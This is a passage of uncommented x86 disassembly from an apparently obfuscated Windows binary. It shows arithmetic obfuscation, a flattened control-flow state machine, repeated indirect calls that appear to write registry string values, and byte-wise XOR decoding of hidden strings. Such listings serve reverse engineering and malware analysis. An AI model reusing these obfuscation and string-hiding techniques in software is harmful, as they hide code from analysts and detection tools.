sub ecx, 0xfa8d5f90
mov esi, 0xffffffff
xor esi, 0x14dacb04
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x14dacb04
or ecx, 0x14dacb04
imul ecx, edx
add ecx, eax
add ecx, 0xdb69c9ad
add ecx, 0x23acbfc0
sub ecx, 0xdb69c9ad
mov eax, 0xffffffff
xor eax, 0xb184a874
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5039ea1d
or eax, edx
mov edx, 0x5039ea1d
and edx, 0x5039ea1d
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xefe09042
mov ecx, 0xffffffff
xor ecx, 0x58770299
or eax, edx
or ecx, 0x58770299
xor eax, 0xffffffff
and eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x449f18e
or ecx, 0x449f18e
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov edx, 0xffffffff
xor edx, 0xdac6bbfd
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xdac6bbfd
add eax, edx
sub eax, ecx
mov ecx, 0x8b16f1e9
xor edx, edx
div ecx
mov ecx, 0xcc1fccdd
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov edx, esi
xor edx, 0xffffffff
and edx, 0xcb638a8c
mov edi, 0xffffffff
xor edi, 0xcb638a8c
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xcb638a8c
or esi, 0xcb638a8c
imul esi, edx
add esi, ecx
or esi, 0x44a13f27
xor esi, 0xdae48e96
mov ecx, esi
xor ecx, 0xc6b6c575
xor ecx, 0xffffffff
or esi, 0xc6b6c575
and esi, ecx
or esi, 0x18ce8c9c
mov edx, esi
xor edx, 0xffffffff
and edx, 0xdc8a5ea4
mov edi, 0xffffffff
xor edi, 0xdc8a5ea4
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xdc8a5ea4
or esi, 0xdc8a5ea4
imul esi, edx
add esi, ecx
mov ecx, 0xd68f0c07
mov edx, 0x9f8a718a
cmp esi, 0xafea2d09
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x35abb018
jmp 0x1010b712
mov edi, dword [ebp - 0x98]
mov esi, dword [ebp - 0x8c]
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x120], eax
sub esp, 4
mov eax, esp
mov dword [eax], 0x101d40dc
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x120]
xor ebx, ebx
sub ebx, ecx
xor ecx, ecx
sub ecx, 1
add ebx, ecx
xor ecx, ecx
sub ecx, ebx
mov ebx, dword [edx]
xor edx, edx
lea edx, [0x101d40dc]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x11c], eax
lea ecx, [0x101d40dc]
add ecx, 0x3c
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov esi, 0xffffffff
xor esi, 1
xor ebx, ebx
sub ebx, 1
sub esi, ebx
sub ecx, esi
mov ebx, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x3c
xor esi, esi
mov esi, dword [ebp - 0x90]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x118], eax
lea ecx, [0x101d40dc]
add ecx, 0x8c
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x118]
xor esi, esi
sub esi, 1
sub ecx, esi
mov ebx, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x8c
xor esi, esi
mov esi, dword [ebp - 0x9c]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x114], eax
lea ecx, [0x101d40dc]
add ecx, 0xbe
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x114]
mov ecx, esi
and ecx, 1
or esi, 1
add ecx, esi
mov ebx, dword [edx]
lea edx, [0x101d40dc]
add edx, 0xbe
xor esi, esi
mov esi, dword [ebp - 0x94]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x110], eax
lea ecx, [0x101d40dc]
add ecx, 0x118
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x110]
add ecx, 1
mov edi, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x118
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x10c], eax
lea ecx, [0x101d40dc]
add ecx, 0x168
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x10c]
add ecx, 1
mov edi, dword [0x101d4a7c]
mov ebx, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x168
xor esi, esi
mov esi, dword [ebp - 0xa0]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x108], eax
lea ecx, [0x101d40dc]
add ecx, 0x19a
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x108]
add ecx, 1
mov edi, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x19a
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x104], eax
lea ecx, [0x101d40dc]
add ecx, 0x1a4
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x104]
add ecx, 1
mov edi, dword [edx]
lea esi, [0x101d49d8]
add esi, 0x58
lea edx, [0x101d40dc]
add edx, 0x1a4
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0x100], eax
lea ecx, [0x101d40dc]
add ecx, 0x1b8
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x100]
add ecx, 1
mov edi, dword [edx]
lea esi, [0x101d49d8]
add esi, 0x6c
lea edx, [0x101d40dc]
add edx, 0x1b8
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xfc], eax
lea ecx, [0x101d40dc]
add ecx, 0x1cc
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xfc]
sub ecx, 0xc9108932
add ecx, 1
add ecx, 0xc9108932
mov esi, dword [0x101d4a78]
mov edi, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x1cc
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xf8], eax
lea ecx, [0x101d40dc]
add ecx, 0x1d4
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xf8]
add ecx, 1
mov esi, dword [0x101d4a74]
mov edi, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x1d4
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xf4], eax
lea ecx, [0x101d40dc]
add ecx, 0x1de
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xf4]
xor esi, esi
sub esi, 1
sub ecx, esi
mov esi, dword [0x101d4aa4]
mov edi, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x1de
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xf0], eax
lea ecx, [0x101d40dc]
add ecx, 0x2e2
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xf0]
add ecx, 1
mov esi, dword [0x101d4aa8]
mov edi, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x2e2
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xec], eax
lea ecx, [0x101d40dc]
add ecx, 0x3e6
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xec]
add ecx, 1
mov esi, dword [0x101d4aac]
mov ebx, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x3e6
xor edi, edi
mov edi, dword [ebp - 0x80]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xe8], eax
lea ecx, [0x101d40dc]
add ecx, 0x5ee
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe8]
add ecx, 1
mov ebx, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x5ee
xor esi, esi
mov esi, dword [ebp - 0x88]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xe4], eax
lea ecx, [0x101d40dc]
add ecx, 0x6f2
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe4]
xor esi, esi
sub esi, 1
sub ecx, esi
mov ebx, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x6f2
xor esi, esi
mov esi, dword [ebp - 0x84]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xe0], eax
lea ecx, [0x101d40dc]
add ecx, 0x4ea
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe0]
add ecx, 1
mov ebx, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x4ea
xor esi, esi
mov esi, dword [ebp - 0x7c]
sub esp, 0x18
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [0x101d4afc]
mov dword [ebp - 0xdc], eax
lea ecx, [0x101d40dc]
add ecx, 0x7f6
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xdc]
mov edi, 0xffffffff
xor edi, 1
xor ebx, ebx
sub ebx, 1
sub edi, ebx
sub ecx, edi
mov edi, dword [edx]
lea edx, [0x101d40dc]
add edx, 0x7f6
xor ebx, ebx
sub esp, 0x18
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
call eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101b1b88
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x101d1d98]
add eax, dword [0x101d1d9c]
imul eax, eax, 0x21e24297
mov ecx, 0x36cd191f
xor edx, edx
div ecx
imul eax, eax, 0xffd0cf4e
or eax, 0x1faa0c4
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd17c9b6e
mov esi, 0xffffffff
xor esi, 0xd17c9b6e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xd17c9b6e
or eax, 0xd17c9b6e
imul eax, edx
add eax, ecx
add eax, 0x1df3e1f1
sub eax, 0xef490d1a
sub eax, 0x1df3e1f1
and eax, 0x37cd0c97
add eax, 0x4a3453eb
add eax, 0x9ca08898
sub eax, 0xde0fb328
sub eax, 0x9ca08898
mov ecx, 0x3f053679
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x2004222d
xor ecx, 0xffffffff
add eax, 0x2004222d
add eax, 1
add eax, ecx
imul eax, eax, 0xbd6bdead
sub eax, 0x2246e380
add eax, 0x605d22b5
add eax, 0x2246e380
add eax, 0x37acb40e
add eax, 0x4d1b9499
sub eax, 0xde54fe4b
sub eax, 0x4d1b9499
mov ecx, 0xe5858338
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x6d5cdb41
add eax, ecx
and eax, 0xe25f6f71
mov ecx, 0x62b11af0
xor edx, edx
div ecx
imul eax, eax, 0xcd4621a7
xor eax, 0xa8cfea5c
sub eax, 0x39d7f939
or eax, 0x6a118b26
and eax, 0xcc4c50ab
mov ecx, 0xd3081c23
xor edx, edx
div ecx
mov ecx, 0xd26c499c
xor edx, edx
div ecx
and eax, 0x4724cca5
imul eax, eax, 0xf1e16f10
mov ecx, 0x9a7db19b
xor edx, edx
div ecx
mov esi, eax
add esi, 0x2c07644e
sub esi, 0x650d1321
sub esi, 0x2c07644e
or esi, 0x80454308
or esi, 0x2beb3ae2
mov eax, esi
xor eax, 0xffffffff
and eax, 0x202388d1
mov edx, 0xffffffff
xor edx, 0x202388d1
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x7ad7e760
and ecx, 0x202388d1
and edx, 0x7ad7e760
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa956ca13
mov esi, 0xffffffff
xor esi, 0xa956ca13
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xa956ca13
or eax, 0xa956ca13
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x3c9cf27d
sub eax, ecx
add eax, 0x11a5b9d0
mov ecx, 0x982658db
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x78015bc1
mov eax, ecx
and eax, 0xd8a796f0
xor ecx, 0xd8a796f0
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x34ddc121
mov edx, 0xffffffff
xor edx, 0x34ddc121
and eax, edx
sub eax, ecx
mov ecx, 0x8a5ddb48
xor edx, edx
div ecx
or eax, 0x6f33964a
mov ecx, 0x93b1ebb5
xor edx, edx
div ecx
or eax, 0x4dd53ce3
mov ecx, 0x8ec2ab7e
xor edx, edx
div ecx
mov ecx, 0xd4d5d508
xor edx, edx
div ecx
mov ecx, 0xfd460307
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov edx, esi
xor edx, 0xffffffff
and edx, 0xc6e9c95c
mov edi, 0xffffffff
xor edi, 0xc6e9c95c
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xc6e9c95c
or esi, 0xc6e9c95c
imul esi, edx
add esi, ecx
mov edx, esi
xor edx, 0xffffffff
and edx, 0x2ae31cc
mov edi, 0xffffffff
xor edi, 0x2ae31cc
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x2ae31cc
or esi, 0x2ae31cc
imul esi, edx
add esi, ecx
mov ecx, esi
xor ecx, 0xaee11250
xor ecx, 0xffffffff
and ecx, 0xaee11250
shl ecx, 1
sub ecx, 0xaee11250
sub esi, ecx
mov ecx, 0x7312bd7c
mov edx, 0xba31188c
cmp esi, 0x62ea8300
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov esi, 0xd570c175
mov ecx, dword [0x101d4c98]
mov ecx, 0x97322965
mov edx, 0xba31188c
cmp esi, 0xd936111
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x95575af7
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov dl, byte [0x101cf791]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x5e
xor cl, 0xff
mov ch, 0xff
xor ch, 0x5e
mov dh, 0xff
xor dh, 0x5e
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cf7a0], cl
mov cl, byte [0x101cf792]
mov dl, cl
xor dl, 0xdb
xor dl, 0xff
and dl, 0xdb
shl dl, 1
sub dl, 0xdb
sub cl, dl
mov byte [0x101cf7a2], cl
mov cl, byte [0x101cf793]
xor cl, 0x66
mov byte [0x101cf7a3], cl
mov dh, byte [0x101cf794]
mov cl, dh
xor cl, 0xff
and cl, 0x18
mov ch, 0xff
xor ch, 0x18
and dh, ch
mov dl, 0xff
xor dl, 0x16
and dl, 0x18
and ch, 0x16
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7a4], cl
mov cl, byte [0x101cf795]
xor cl, 0x92
mov byte [0x101cf7a6], cl
mov cl, byte [0x101cf796]
xor cl, 0xb4
mov byte [str.qe_d], cl
mov cl, byte [0x101cf797]
xor cl, 0xb
mov byte [0x101cf7a8], cl
mov cl, byte [0x101cf798]
xor cl, 0xea
mov byte [0x101cf7a9], cl
mov dh, byte [0x101cf799]
mov cl, dh
xor cl, 0xff
and cl, 0xae
mov ch, 0xff
xor ch, 0xae
and dh, ch
mov dl, 0xff
xor dl, 0xd5
and dl, 0xae
and ch, 0xd5
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7ab], cl
mov dl, byte [0x101cf79a]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x50
or ch, 0x50
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x50
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cf7ac], cl
mov cl, byte [0x101cf79b]
xor cl, 0x7c
mov byte [0x101cf7ad], cl
mov cl, byte [0x101cf79c]
xor cl, 0x94
mov byte [0x101cf7ae], cl
mov dl, byte [0x101cf79d]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x23
or ch, 0x23
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0x23
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7af], cl
mov cl, byte [0x101cf79e]
mov dl, cl
xor dl, 0x95
xor dl, 0xff
and dl, 0x95
shl dl, 1
sub dl, 0x95
sub cl, dl
mov byte [0x101cf7b0], cl
mov dh, byte [str.ko]
mov cl, dh
xor cl, 0xff
and cl, 0x9b
mov ch, 0xff
xor ch, 0x9b
and dh, ch
mov dl, 0xff
xor dl, 0x2a
and dl, 0x9b
and ch, 0x2a
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7b1], cl
mov cl, byte [0x101cf7cf]
mov dl, cl
xor dl, 0x3d
xor dl, 0xff
and dl, 0x3d
shl dl, 1
sub dl, 0x3d
sub cl, dl
mov byte [str.t_rMI], cl
mov cl, byte [0x101cf7d0]
xor cl, 0x32
mov byte [0x101cf7d5], cl
mov cl, byte [0x101cf7d1]
xor cl, 0xaa
mov byte [0x101cf7d6], cl
mov dl, byte [0x101cf7d2]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa7
mov dh, 0xff
xor dh, 0xa7
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xa7
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7d7], cl
mov dh, byte [0x101cf7d3]
mov cl, dh
xor cl, 0xff
and cl, 0x63
mov ch, 0xff
xor ch, 0x63
and dh, ch
mov dl, 0xff
xor dl, 0xc6
and dl, 0x63
and ch, 0xc6
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7d8], cl
mov cl, byte [0x101cf888]
xor cl, 0x5d
mov byte [0x101cf893], cl
mov cl, byte [0x101cf889]
xor cl, 0xbc
mov byte [0x101cf894], cl
mov dh, byte [0x101cf88a]
mov cl, dh
xor cl, 0xff
and cl, 0x21
mov ch, 0xff
xor ch, 0x21
and dh, ch
mov dl, 0xff
xor dl, 0xda
and dl, 0x21
and ch, 0xda
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf895], cl
mov cl, byte [0x101cf88b]
xor cl, 0xba
mov byte [0x101cf896], cl
mov cl, byte [0x101cf88c]
xor cl, 0x89
mov byte [0x101cf897], cl
mov dl, byte [0x101cf88d]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x2a
xor cl, 0xff
mov ch, 0xff
xor ch, 0x2a
mov dh, 0xff
xor dh, 0x2a
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [str.hLrP], cl
mov cl, byte [0x101cf88e]
xor cl, 0x9b
mov byte [0x101cf899], cl
mov cl, byte [0x101cf88f]
mov dl, cl
and dl, 0x7b
shl dl, 1
add cl, 0x7b
sub cl, dl
mov byte [0x101cf89b], cl
mov dl, byte [0x101cf890]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x5c
or ch, 0x5c
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x5c
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf89c], cl
mov dl, byte [0x101cf891]
mov cl, dl
xor cl, 0xff
and cl, 0x35
mov ch, 0xff
xor ch, 0x35
and dl, ch
or cl, dl
mov byte [0x101cf89e], cl
mov cl, byte [0x101cf892]
mov dl, cl
and dl, 0xe7
shl dl, 1
add cl, 0xe7
sub cl, dl
mov byte [0x101cf89f], cl
mov cl, byte [0x101cf849]
xor cl, 0xda
mov byte [0x101cf850], cl
mov cl, byte [0x101cf84a]
xor cl, 0x2c
mov byte [0x101cf851], cl
mov cl, byte [0x101cf84b]
xor cl, 0x85
mov byte [0x101cf852], cl
mov cl, byte [0x101cf84c]
xor cl, 0x16
mov byte [str.2eri], cl
mov dl, byte [0x101cf84d]
mov cl, dl
xor cl, 0xff
and cl, 0xf8
mov ch, 0xff
xor ch, 0xf8
and dl, ch
or cl, dl
mov byte [0x101cf857], cl
mov dl, byte [0x101cf84e]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x35
mov dh, 0xff
xor dh, 0x35
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x35
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cf858], cl
mov cl, byte [0x101cf84f]
xor cl, 0x11
mov byte [str.V_HX], cl
mov cl, byte [0x101cf85a]
xor cl, 0x77
mov byte [0x101cf867], cl
mov cl, byte [0x101cf85b]
xor cl, 0x29
mov byte [0x101cf868], cl
mov cl, byte [0x101cf85c]
xor cl, 0x2e
mov byte [0x101cf869], cl
mov cl, byte [0x101cf85d]
xor cl, 0xa0
mov byte [0x101cf86a], cl
mov cl, byte [0x101cf85e]
xor cl, 0x13
mov byte [0x101cf86b], cl
mov cl, byte [0x101cf85f]
xor cl, 0x1b
mov byte [0x101cf86c], cl
mov cl, byte [0x101cf860]
mov dl, cl
and dl, 0xe1
shl dl, 1
add cl, 0xe1
sub cl, dl
mov byte [0x101cf86d], cl
mov dl, byte [0x101cf861]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xf3
or ch, 0xf3
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xf3
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf86e], cl
mov dl, byte [0x101cf862]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x22
or cl, ch
mov ch, 0xff
xor ch, 0x22
mov dh, 0xff
xor dh, 0x22
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf86f], cl
mov cl, byte [0x101cf863]
xor cl, 0xb6
mov byte [0x101cf870], cl
mov cl, byte [0x101cf864]
xor cl, 0x88
mov byte [0x101cf871], cl
mov cl, byte [0x101cf865]
xor cl, 0x2e
mov byte [0x101cf872], cl
mov cl, byte [0x101cf866]
xor cl, 0x2a
mov byte [0x101cf873], cl
mov cl, byte [0x101cf7b2]
xor cl, 0x25
mov byte [0x101cf7c0], cl
mov cl, byte [0x101cf7b3]
xor cl, 0x69
mov byte [0x101cf7c1], cl
mov cl, byte [0x101cf7b4]
xor cl, 0xc3
mov byte [0x101cf7c2], cl
mov cl, byte [0x101cf7b5]
xor cl, 0x8a
mov byte [0x101cf7c3], cl
mov cl, byte [0x101cf7b6]
mov dl, cl
xor dl, 0x5c
xor dl, 0xff
and dl, 0x5c
shl dl, 1
sub dl, 0x5c
sub cl, dl
mov byte [0x101cf7c4], cl
mov dl, byte [0x101cf7b7]
mov cl, dl
xor cl, 0xff
and cl, 0x48
mov ch, 0xff
xor ch, 0x48
and dl, ch
or cl, dl
mov byte [0x101cf7c5], cl
mov cl, byte [0x101cf7b8]
mov dl, cl
xor dl, 0x9a
xor dl, 0xff
and dl, 0x9a
shl dl, 1
sub dl, 0x9a
sub cl, dl
mov byte [0x101cf7c6], cl
mov cl, byte [0x101cf7b9]
xor cl, 0x8c
mov byte [0x101cf7c7], cl
mov dl, byte [0x101cf7ba]
mov cl, dl
xor cl, 0xff
and cl, 4
mov ch, 0xff
xor ch, 4
and dl, ch
or cl, dl
mov byte [0x101cf7c8], cl
mov dl, byte [0x101cf7bb]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x7f
xor cl, 0xff
mov ch, 0xff
xor ch, 0x7f
mov dh, 0xff
xor dh, 0x7f
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
